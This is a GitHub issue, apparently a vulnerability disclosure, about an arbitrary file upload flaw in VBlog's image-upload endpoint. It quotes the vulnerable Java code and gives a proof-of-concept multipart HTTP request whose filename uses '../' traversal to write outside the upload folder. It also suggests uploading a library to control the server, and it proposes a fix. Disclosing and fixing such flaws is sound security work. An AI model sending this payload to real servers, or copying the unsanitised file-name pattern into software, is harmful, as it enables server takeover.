Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VBlog <=May 15, 2020 version has arbitrary file upload vulnerability #92

Open
pankass opened this issue Apr 6, 2023 · 0 comments
Open

Comments

@pankass
Copy link

pankass commented Apr 6, 2023

Influenced Version

<=May 15, 2020

Description

There is an arbitrary file upload vulnerability where ordinary users publish articles in the background

at blogserver/src/main/java/org/sang/controller/ArticleController.java

@RequestMapping(value = "/uploadimg", method = RequestMethod.POST)
    public RespBean uploadImg(HttpServletRequest req, MultipartFile image) {
        StringBuffer url = new StringBuffer();
        String filePath = "/blogimg/" + sdf.format(new Date());
        String imgFolderPath = req.getServletContext().getRealPath(filePath);
        File imgFolder = new File(imgFolderPath);
        if (!imgFolder.exists()) {
            imgFolder.mkdirs();
        }
        url.append(req.getScheme())
                .append("://")
                .append(req.getServerName())
                .append(":")
                .append(req.getServerPort())
                .append(req.getContextPath())
                .append(filePath);
        String imgName = UUID.randomUUID() + "_" + image.getOriginalFilename().replaceAll(" ", "");
        try {
            IOUtils.write(image.getBytes(), new FileOutputStream(new File(imgFolder, imgName)));
            url.append("/").append(imgName);
            return new RespBean("success", url.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new RespBean("error", "上传失败!");
    }

Here, the file name given by the user is directly spliced

image-20230406150148044

Under ordinary users, you can capture packets and modify filename to upload arbitrary files across directories

image-20230406151348594
image-20230406151304596

poc

POST /article/uploadimg HTTP/1.1
Host: 10.108.87.239:8081
Content-Length: 212
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2EAnvXdKlknyhHew
Origin: http://10.108.87.239:8081
Referer: http://10.108.87.239:8081/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C76D41D95AA71DA9250374C6E57F505A
Connection: close

------WebKitFormBoundary2EAnvXdKlknyhHew
Content-Disposition: form-data; name="image"; filename="/../../../../../../../hackfile"
Content-Type: image/png

hack!!!!
------WebKitFormBoundary2EAnvXdKlknyhHew--

This vulnerability can be used to upload a dynamic link library to a malicious location to control the entire server

fix

The server randomly generates the file name by itself, do not use the file name given by the user

@RequestMapping(value = "/uploadimg", method = RequestMethod.POST)
    public RespBean uploadImg(HttpServletRequest req, MultipartFile image) {
        StringBuffer url = new StringBuffer();
        String filePath = "/blogimg/" + sdf.format(new Date());
        String imgFolderPath = req.getServletContext().getRealPath(filePath);
        File imgFolder = new File(imgFolderPath);
        if (!imgFolder.exists()) {
            imgFolder.mkdirs();
        }
        url.append(req.getScheme())
                .append("://")
                .append(req.getServerName())
                .append(":")
                .append(req.getServerPort())
                .append(req.getContextPath())
                .append(filePath);
        String imgName = UUID.randomUUID() + ".png";
        try {
            IOUtils.write(image.getBytes(), new FileOutputStream(new File(imgFolder, imgName)));
            url.append("/").append(imgName);
            return new RespBean("success", url.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new RespBean("error", "上传失败!");
    }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant